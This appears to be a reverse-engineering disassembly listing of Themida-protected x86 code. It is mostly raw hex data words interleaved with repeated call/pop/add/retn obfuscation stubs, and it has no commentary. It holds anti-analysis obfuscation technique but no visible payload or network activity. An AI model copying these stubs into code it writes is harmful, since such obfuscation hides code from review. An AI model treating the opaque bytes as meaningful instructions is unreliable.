		dd 2B45BD8Bh, 6A07D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0E567E1C3h, 0BD8B96E7h, 7D12A41h
		dd 4DB3BF66h, 215DB58Bh, 6A07D1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 37D134C3h, 8B81E7A6h
		dd 8DBD8BFBh, 8B07D12Ch, 0D132F1BDh, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 78E6C7Bh, 0FFF81AE9h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 10F0E90Ch, 9639C781h, 2CE975F9h,	30000000h
		dd 6E2DD7h, 9 dup(0)
		dd 0E9000000h, 54Fh, 64F1EF8Fh,	52DF1D77h, 41CE2065h, 2AB73554h
		dd 16A35D3Dh, 286A425Bh, 335643D0h, 464330BDh, 6E2E1BA8h
		dd 77630592h, 0FDD7B3BAh, 3D291119h, 0F24813D9h, 0B8F45890h
		dd 7A58E733h, 532F6321h, 0C1A6443Fh, 0E6A6932Ah, 0F78E250Ah
		dd 8B652512h, 1BD5B29Fh, 84A7ACB7h, 0D362B13Dh,	0BD3B5946h
		dd 4FADEBD8h, 0F6917E6Ah, 0ED7C13F8h, 7C688400h, 989AD390h
		dd 3E2A1229h, 2998EC81h, 0AA41D812h, 4949361Bh,	0BADDCAAFh
		dd 11725F44h, 51C06BD7h, 0EA19C430h, 0D7CA5533h, 0EB10FFDBh
		dd 0A085631Fh, 4EDB7209h, 39C62061h, 0CCB14F4Ch, 6146A4DFh
		dd 23E0CCB8h, 1228D64Ah, 0F1965232h, 0F120CB5Ah, 129F593Ah
		dd 0A4896725h, 28D583E7h, 0F2564212h, 0E829CC8Dh, 7722B16Fh
		dd 0BAA80788h, 673539CDh, 49000000h, 0DFC4385Ch, 21DBB948h
		dd 0B4A08563h, 9F2ECCC7h, 28B489E2h, 62913C12h,	0CD368E21h
		dd 114F39h, 0FF630000h,	0DEC837F0h, 261C559h, 52F57AF0h
		dd 21411FAEh, 0B7A48967h, 0CF331FDDh, 92693E11h, 5338C733h
		dd 0E4C92766h, 0E75ECD78h, 0D6C24FADh, 674CAAE9h, 4627E4D0h
		dd 7E122986h, 2D6B58E7h, 4AE11F79h, 6121DFBDh, 0C9B6A287h
		dd 0B2492EC8h, 9E523623h, 93822DB9h, 7502FE9Ch,	3E1F0888h
		dd 197716E9h, 0B3A0851Ch, 2FC1C6D2h, 371CB34Ah,	8A0BFAA5h
		dd 39CD6435h, 9BC8h, 0BE22EA00h, 8EB11985h, 0F7E47394h
		dd 8C785D9Bh, 1D02E09Fh, 0B5F97431h, 34CB1228h,	64210E9Dh
		dd 0B5F57835h, 38CF1228h, 0A550BCA1h, 0CFC3BF76h, 109D34B2h
		dd 77346723h, 1228B5F6h, 0B4A037CEh, 0AF08D750h, 9350C2C0h
		dd 1228CCDAh, 0D0BC53EAh, 28CD5A13h, 44D36A12h,	186735Fh
		dd 0E4730AEFh, 6E5A98F7h, 0CCA8C582h, 851C1228h, 0D47F11F6h
		dd 4C5B6425h, 4BA239CDh, 0B6000000h, 0A231CFC9h, 553522C4h
		dd 631F0C9Bh, 0D6B3A085h, 3FEA3318h, 693959D0h,	0DA18772Bh
		dd 411FAC43h, 9A543522h, 0A28F1EB5h, 311E0AE6h,	1BB29751h
		dd 0B297692Eh, 0EAA78C1Bh, 1228B480h, 2A6B9A45h, 39CD3685h
		dd 158h, 36227A00h, 0F2AF4949h,	1228B47Bh, 3623B249h, 0CEBA9F51h
		dd 0B4E2DA6Ah, 9AFADBA3h, 4BE2795Eh, 33B1CFBCh,	0BFAA54Eh
		dd 36682815h, 20059C54h, 880DFA89h, 0FC9D8A76h,	0F7861D02h
		dd 0F5AEDC6Ah, 0DC735896h, 806D5945h, 68FFE400h, 0FC921CD9h
		dd 9B3219F9h, 2DCBC9B6h, 17D5B3A0h, 0FCF67532h,	7F2A19F9h
		dd 0FDFB9990h, 0E7058370h, 6B291602h, 7311FE8Dh, 59049075h
		dd 88774AAh, 0DF6E05EAh, 850092F2h, 5743D067h, 6BCF296Ah
		dd 47478C4Fh, 56CD5CF1h, 419E4259h, 11784h, 0EEAB9800h
		dd 80A38110h, 4603EF12h, 19F9C8A8h, 412CE9D5h, 8319F9C9h
		dd 21B85DECh, 0AC484835h, 0F4CC30C7h, 3CB6DEFEh, 8C795EEDh
		dd 7763F00Ch, 69FCE8Bh,	382519FAh, 7B0AA15Fh, 0FF9C0E8Eh
		dd 98851C01h, 851C01FFh, 7C1C09EEh, 640F9B80h, 0E21E7EB5h
		dd 87D1DE55h, 5D0C419Eh, 2E000000h, 2EE1580h, 6B287315h
		dd 1228B502h, 0AF942BC2h, 0EFD5E74Bh, 8C23A37Eh, 3B245328h
		dd 291E2ECh, 0C6F45916h, 39D09228h, 0C6D69754h,	12BD9228h
		dd 0A4188BE3h, 28C686E7h, 10A73E92h, 0F27B3824h, 0D29228C6h
		dd 3C0AC3Bh, 1228C64Ah,	0DE56E37Ah, 64h, 698705F2h, 805EED84h
		dd 3EF1280h, 0F9E73446h, 0DF99019h, 0E7096421h,	24BB19F9h
		dd 0C5C3B095h, 0EFAD9A27h, 0F96F2C11h, 2719F9E7h, 0AB978D7Ch
		dd 0F9E77FEEh, 1FAE4519h, 9965232h, 0FEEA0F7Bh,	8C622512h
		dd 0B8A40FDh, 4D3A21CFh, 351AB14Fh, 0C7AC4848h,	0EC84731Eh
		dd 0B26F5BBEh, 29A42F18h, 0AA8815ACh, 0F9991280h, 0EC831AFFh
		dd 6C271400h, 8842FF8Eh, 3C19FDD8h, 70D4C0A5h, 0F2DC3CC2h
		dd 0CE9F5C55h, 0F619FE23h, 4C39C85Fh, 3623B04Ch, 0C2AE9A56h
		dd 0FE236805h, 0D9C55C19h, 0FE24511Ch, 4DDC7319h, 2210AB68h
		dd 2D6C83F7h, 98FDEACFh, 0AB8166h, 18047011h, 7648C82Ch
		dd 164F8D82h, 0F73A1459h, 8A19B083h, 9BF930DFh,	0A5E3D05Dh
		dd 2B6E5B47h, 0CA59F0D5h, 8E0CF9E5h, 9B807C1Ch,	0F1886D04h
		dd 0D8167562h, 709F4AF3h, 901DDBB9h, 1FDDB7A4h,	7E5A390h
		dd 4E493622h, 4734CBB0h, 0A51DAC4Ah, 3,	21E4C2C7h, 0B19E837Dh
		dd 433015D3h, 0D6C3A846h, 6B583DB3h, 0FFECD12Fh, 93806583h
		dd 2411F6F4h, 0BBA88D63h, 6F3E23D9h, 519A68h, 24048900h
		dd 405E089h, 83000000h,	48704E8h, 0EC815C24h, 4, 56243C89h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	84BF241Ch, 0C1041754h
		dd 0F78107E7h, 8702A8Eh, 4E94CF81h, 0DFF70C62h,	6861BE56h
		dd 0F7315C1Fh, 91F7815Eh, 54ABCFDAh, 83241C8Bh,	895004C4h
		dd 84389F8h, 8124048Bh,	4C4h, 2434FF00h, 4C4835Bh, 5F2434FFh
		dd 0E904C483h, 0FFFC55ACh, 0D1544DECh, 0A16AE8D7h, 0B80B7902h
		dd 7D52856h, 0E0FFC503h, 79765DE1h, 46670C30h, 3CB0864Fh
		dd 314A32F4h, 7F03CA9h,	181923B7h, 1124C13Fh, 49D21D8Bh
		dd 35C3F60Ch, 5907FE23h, 4F9821E3h, 7ABA7577h, 56EFDFE1h
		dd 7E00526Eh, 2519457h,	13090FD1h, 6BF8FCF0h, 2FFB2128h
		dd 5F283283h, 6041A240h, 76516E97h, 70F9F668h, 562E2A5Bh
		dd 42244B21h, 1F734BB7h, 513239C7h, 6AF12A04h, 5928A762h
		dd 3584C7D8h, 104D4889h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 6A6948C3h, 0F2FDD28h
		dd 4EBF3BFh, 0
; ---------------------------------------------------------------------------
		jge	loc_5C8FD8
		mov	edi, [ebp+7D11F09h]


loc_5C8FD8:				; CODE XREF: Themida_:005C8FCCj
		push	0
		push	ebx
		call	sub_5C8FE3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8FE3	proc near		; CODE XREF: Themida_:005C8FDBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5C8FE3	endp

; ---------------------------------------------------------------------------
		db 15h
		dd 8B3B3AC9h, 61858DFAh, 5007D113h, 6820Fh, 8B0F0000h
		dd 0
		dd 5250905Eh, 5250310Fh, 8C0Fh,	310F0000h, 585AF38Bh, 0BE50585Ah
		dd 559F1605h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 6A5808h, 2505B503h, 6A07D1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 4FC35040h, 5646B110h
		dd 8B66FDC7h, 6A858DF8h, 6A07D52Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 8FA1C353h
		dd 0BF665E74h, 840FDC40h, 0Bh, 5800Fh, 81660000h, 83D541D6h
		dd 0B52B05C0h, 7D11021h, 0B2606090h, 0CE9610Bh,	6E000000h
		dd 0EF2AC73Dh, 5961AA80h, 61C1C05Bh, 0BE525050h, 12BA906Bh
		dd 8B66310Fh, 90585AFEh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 3AC35141h, 0A8DC299Ah, 8D0F9201h, 6
		dd 149DBD31h, 6A07D1h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 6EC35141h, 0DF81666Dh, 0BD8B3715h, 7D131A9h
		dd 95FF006Ah, 7D11DE1h,	0DE9h, 0AB4ACF00h, 149FF7DAh, 1DD8D600h
		dd 8DFC9E55h, 0D4D5669Dh, 7DBD8907h, 0FF07D128h, 56006AD3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 85FF5354h, 7D12921h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 71C35242h, 9E4FFA57h,	69AE62CAh, 7FAE9h
		dd 0E800h, 815D0000h, 0D52B74EDh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0D2689803h
		dd 2001BD81h, 7D007D1h,	860F0000h, 152h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 0F0C35545h, 0C7B06746h
		dd 2EBE6627h, 0D8EF8141h, 8B0CE812h, 0D127259Dh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0E172CDD3h, 3855BF63h, 0EE816654h, 0A0BF84F0h, 81722EFCh
		dd 100E3h, 0ADB58B00h, 0B07D105h, 69850FDBh, 0FC000000h
		dd 298ABD83h, 0F0007D5h, 3384h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0FE421FCCh
		dd 0E9A4676Ah, 6Fh, 24B98509h, 0B58B07D1h, 7D12439h, 298A85C7h
		dd 107D5h, 0BD8B0000h, 7D132F9h, 4EE9h,	8E900h,	67BB0000h
		dd 3015966Fh, 8D890BD3h, 7D105D5h, 298A85C7h, 7D5h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 171AE9C3h, 0B032B335h, 0F60E938h, 28Bh, 0F65B100h, 8D61CFBFh
		dd 0D127259Dh, 0A1952907h, 8107D113h, 0FFFEFF23h, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 3098685h, 0BC13E182h, 22E9BD2Bh, 8C6607D1h, 56006ADBh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 770B773Dh, 0DF31FA99h, 0F5958907h, 0F607D12Dh, 840F04C3h
		dd 4Eh,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h
		dd 8EC35646h, 95FF407Dh, 7D101C5h, 66FDB660h, 61CAE2BFh
		dd 0EE96050h, 94000000h, 326BF194h, 0E7D04F8h, 86267230h
		dd 0F78B6654h, 24048961h, 27459D89h, 0B2E907D1h, 6A000003h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 7F59C351h, 0BD8B1F92h, 7D11B01h, 207204BFh
		dd 0E600B00Eh, 52006A70h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0EDF738BEh, 327DB58Bh
		dd 71E407D1h, 11C78166h, 0D8B60F9Ah, 6BAh, 0C38BF500h
		dd 15258D89h, 0E8C107D1h, 21E78104h, 6671FA55h,	0DE8E2F7h
		dd 0F0000000h, 8F93E49h, 91792896h, 975AB879h, 2E6DBD23h
		dd 2B5F07D1h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0D4FE24FEh, 5250509Ah, 14E8h, 4E0E3300h
		dd 0C547FCDAh, 82FF728Bh, 0CED6CE05h, 8077AC21h, 310F5E62h
		dd 585AF88Bh, 8B241C89h, 1B5FFF9h, 6A07D120h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0C0F4C350h, 60E200A0h, 0C981F08Bh, 35DB5E64h, 5595FF61h
		dd 6A07D100h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 958EC352h, 66432FE9h, 0CB94F681h
		dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 2C5AB7C3h, 70E60077h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 1AC35747h, 71E49F76h, 613C5F57h
		dd 22F830Fh, 870F0000h,	2, 0B60FFE8Bh, 50006AD8h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0AD2FF379h, 6BA8Ah, 12E90000h, 0E5000000h, 79E34D15h
		dd 24CE3CAh, 41FBEB6h, 8D060F7Ah, 8BC38B6Eh, 0D11C71B5h
		dd 4E8C107h, 9299D89h, 800F07D1h, 11h, 0CE9h, 0B479200h
		dd 0AAB65627h, 524181C7h, 0E2F7665Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 13C35343h, 643B29F3h, 8B6647BDh
		dd 81D82BF1h, 0D5B17BDFh, 6A580Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 50844BC3h, 0EAB91BE7h
		dd 0FD82B17h, 16488h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0B9C27DF0h, 7,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 59C35747h, 0DFF3299Bh
		dd 14F18769h, 11E942h, 37410000h, 677D9F16h, 156BA231h
		dd 0BC2B92B3h, 8950B8DFh, 0D12F3195h, 0C18307h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 8AC35343h, 0B58B4F31h
		dd 7D117B1h, 860FD93Bh,	0D1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 26C35747h, 2475B58Bh, 8C6607D1h
		dd 0FBBF0FD9h, 0F04C1F6h, 7F84h, 0EE816600h, 95FFDC7Ah
		dd 7D101C5h, 8B605BF8h,	0D128DD9Dh, 6800F07h, 8B000000h
		dd 0D13355BDh, 0C32B6107h, 27559D89h, 343D07D1h, 0F000008h
		dd 4B86h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 912AC925h, 0EA6BC9C4h, 43E9F8h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0CAA85FC3h, 63017B4Ch, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0BF0F4CC3h, 8BC38BF1h
		dd 0C9B58BD8h, 0C707D131h, 0D133A185h, 8841FB07h, 57006A59h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 81E81427h, 224FCE1Ch, 8166419Ah, 8BC7B4EEh, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0DB3C086Fh, 2001BD81h, 7D007D1h, 850F0000h, 53h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 5FC35747h, 0B50CA582h
		dd 5F8F12ECh, 324ABF66h
		dd 200185FFh, 6A07D1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 72EE84C3h, 0C19D2944h, 0FF07D117h
		dd 0D12001B5h, 0B1BD8B07h, 907D129h, 0D114A5BDh, 5595FF07h
		dd 6A07D100h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0CA92C352h, 8152DE4Eh,	5E826h
		dd 0CFEC0000h, 5FA07D2Eh, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8D0FAC7Fh
		dd 0Bh,	58D0Fh,	81660000h, 81DEDDE7h, 0A12FF0F7h, 0D9B50361h
		dd 0E907D11Dh, 0Bh, 0C120698Eh,	0B111A38Ch, 6A487115h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 5E79C352h, 9D89D155h, 7D129E1h, 2879BD01h
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 3DB07DC3h, 0B52B3569h, 7D10FC9h, 2A11BD8Bh
		dd 0CE907D1h, 1F000000h, 97299787h, 2235248Bh, 662CA278h
		dd 6A4BEBBFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 1439C357h, 0DD9589CAh,	6A07D11Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 55BC350h,	52DCEB8Dh, 1BD31A7h, 0F07D110h
		dd 78Dh, 6DBD8B00h, 0F507D129h,	0FFF81CE9h, 10E9F5FFh
		dd 32000000h, 5E2DADB8h, 2E2EAEA1h, 0C085DDAEh,	8BEA474Bh
		dd 57006AC1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0DD71C78h, 0F4F37004h, 0FE8EDh, 0B2820000h
		dd 423107F7h, 39863550h, 0D3A9B8BEh, 0EE992h, 99730000h
		dd 0A659E2CEh, 0E800E6A1h, 0BA725CFDh, 4EB5Fh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 905AC357h, 6A3C45h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 3E174DC3h, 61858DBFh
		dd 0F507D113h, 66525090h, 310FF78Bh, 5E9h, 4E3C6D00h, 585A30F8h
		dd 39F0BE50h, 6A905525h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0E5ACCF5Ah, 4043809Eh
		dd 0CE957h, 0E3CF0000h,	2FA2CD83h, 0D2808702h, 6A90B1h
		dd 8DFAB70Fh, 0D5353C85h, 2D8D8907h, 8307D12Ch,	0CE905C0h
		dd 6B000000h, 2A381B88h, 0DCF5A4FAh, 5709B234h,	3465BD89h
		dd 905E07D1h, 29BF9050h, 6A14B905h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 654C7CF2h
		dd 574AB34Dh, 0B503B58Dh, 7D12C2Dh, 2E3DBD33h, 6A07D1h
		dd 29F1B58Bh, 95FF07D1h, 7D11DE1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0E0C35545h,	0E048722Ah, 0EE9h
		dd 5F83D500h, 86FD9ABh,	6F4ADB3Ch, 8D3EF773h, 0D4D5669Dh
		dd 0F2F68107h, 0FF31B3C4h, 0FFF5FCD3h, 0D1292185h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 27FFBD8Ch, 863CE51Ah, 77DBD29h, 0A2E907D1h, 0E8000008h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D53546h
		mov	esi, 1095D639h
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jbe	loc_5C9CFA
		stc
		mov	ebx, [ebp+7D11EA9h]
		push	0
		push	edx
		call	sub_5C9BB2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9BB2	proc near		; CODE XREF: Themida_:005C9BAAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5C9BB2	endp

; ---------------------------------------------------------------------------
		dw 0F836h
		dd 568B19C8h, 9D31DC72h, 7D132D5h, 100E381h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 278C05C3h, 850FDB0Bh, 0C1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 4EC35040h, 84F5BC49h, 89EC00CAh
		dd 0D10059BDh, 11E907h,	6F7F0000h, 2EFAD41Eh, 0CBA4D002h
		dd 0A5A7C958h, 8387A51Fh, 0D533B9BDh, 840F0007h, 52h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6DC35747h, 0FB8B6671h
		dd 324DBD8Bh, 5AE907D1h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 6A79C356h
		dd 0C8173718h, 0BF6639BEh, 85C76A4Eh, 7D533B9h,	1, 24E9h
		dd 0FE900h, 9B6A0000h, 0A1835700h, 0CD410219h, 0D2F13D88h
		dd 0B985C798h, 7D533h, 89000000h, 0D132D59Dh, 0A99D8D07h
		dd 6007D11Eh, 0FE9h, 84A1A00h, 47BEAEB1h, 5462A8E7h, 1E9EBB5Ch
		dd 10B5958Bh, 816107D1h, 0FFFEFF23h, 0E68166FFh
		db 19h,	0A1h
; ---------------------------------------------------------------------------


loc_5C9CFA:				; CODE XREF: Themida_:005C9B9Aj
		mov	bx, ds
		push	0
		push	ebx
		call	sub_5C9D08
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9D08	proc near		; CODE XREF: Themida_:005C9D00p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5C9D08	endp

; ---------------------------------------------------------------------------
		cmp	[esi-75h], esp
		clc
		test	bl, 4
		jz	loc_5C9DB4
		push	0
		push	edx
		call	sub_5C9D30
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9D30	proc near		; CODE XREF: Themida_:005C9D28p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5C9D30	endp

; ---------------------------------------------------------------------------
		mov	edi, 9061BE66h
		mov	di, 7B23h
		call	dword ptr [ebp+7D101C5h]
		push	0
		push	esi
		call	sub_5C9D5A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9D5A	proc near		; CODE XREF: Themida_:005C9D52p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5C9D5A	endp

; ---------------------------------------------------------------------------
		dw 26ADh
		dd 9EEE38CFh, 0BD034F5Bh, 7D126B1h, 0FE850h, 0CC920000h
		dd 3F3071EDh, 0A6A830Ah, 0BFC366C0h, 8F0FF5h, 5F000000h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0E702C353h
; ---------------------------------------------------------------------------


loc_5C9DB4:				; CODE XREF: Themida_:005C9D1Fj
		jmp	loc_5CA21D
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C9DC4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9DC4	proc near		; CODE XREF: Themida_:005C9DBCp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C9DC4	endp

; ---------------------------------------------------------------------------
		cdq
		and	al, 0D3h
		aas
		mov	[ebp+7D132BDh],	edx
		push	esi
		mov	[ebp+7D124D5h],	ecx
		pop	esi
		mov	al, 0
		push	0
		push	esi
		call	sub_5C9DF3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9DF3	proc near		; CODE XREF: Themida_:005C9DEBp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C9DF3	endp

; ---------------------------------------------------------------------------
		db 0Fh
		dd 7C87AE38h, 3840F60h,	66000000h, 0B509FE8Bh, 7D12EDDh
		dd 11B58B61h, 0E607D116h, 0F98B6670h, 21F5BD8Bh, 71E407D1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C35545h
		dd 6606665Dh, 5D4F0FB9h, 0FA8BF9ABh, 6AD8B60Fh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0E659C355h, 758D8908h, 0BA07D10Ch, 6, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 9EC35747h, 38F0Fh
		dd 8B660000h, 0F8BF0FF9h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 87BA07C3h, 1F08B66h
		dd 0D1079D8Dh, 4E8C107h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 17h, 7AC35545h, 667A3E58h,	6AE2F7h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 2BCEF6C3h, 0C19D89D8h, 9307D114h, 12E960h, 0F7DE0000h
		dd 6324A943h, 1DBAE510h, 0F543E30Fh, 4CD19BA1h,	50935061h
		dd 1802D681h, 0FF5E6226h, 0D12001B5h, 15B58B07h, 0E807D11Ah
		dd 0Fh,	0FD492175h, 38C47AB3h, 40E72F0Dh, 0F952F8Bh, 0FF5FF8B7h
		dd 0D1005595h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 47D5A5E5h, 0FE99C84h
		dd 4A000000h, 52302E58h, 0D342DD3h, 3306AD73h, 0B0FD07h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2FC35545h
		dd 60179FB0h, 0A05DC216h, 30A19D31h, 70E607D1h,	5E9h, 0A64BD100h
		dd 0F8522733h, 6A71E45Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 46B9C350h, 0BE9h, 0E913FC00h
		dd 0F03C6F4Dh, 0D425C6Dh, 830F613Ch, 20Dh, 0D8B60FFCh
		dd 0A50CB0BFh, 6BA0Ah, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0FC91B2C3h, 5440CAC4h
		dd 8BFEBF0Fh, 0D1B58BC3h, 0C107D11Dh, 9D8904E8h, 7D11421h
		dd 0E9E2F766h, 0Dh, 0EB8C09B9h,	0C7E5879Dh, 0B8D4E4C2h
		dd 6AD82B6Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0E29BC356h, 20A224h, 0AE85662h
		dd 9A000000h, 2240884Ah, 3FE76415h, 585E5F7Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 52C35040h, 57458DE7h
		dd 0A3A12D6Eh, 880FD82Bh, 151h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 8EC35747h, 0BF890CFh, 0D12B29B5h
		dd 7B907h, 83F80000h, 6A00C1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0C05C0BC3h, 8166F078h
		dd 3B0F9AF6h, 0F6860FD9h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F386C353h
		dd 6E9h, 1255300h, 66D6D1E5h, 8B66D98Ch, 4C1F6F1h, 0BA840Fh
		dd 95FF0000h, 7D101C5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0FAC35242h, 0C1521E45h, 147CDACEh, 69BD8BAFh
		dd 5B07D12Fh, 582CE781h, 0C32B0926h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 1EC35545h, 60245840h, 0B58B601Dh
		dd 7D129DDh, 0A81BC381h, 3D6143E9h, 834h, 46860Fh, 0B5030000h
		dd 7D1208Dh, 40E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
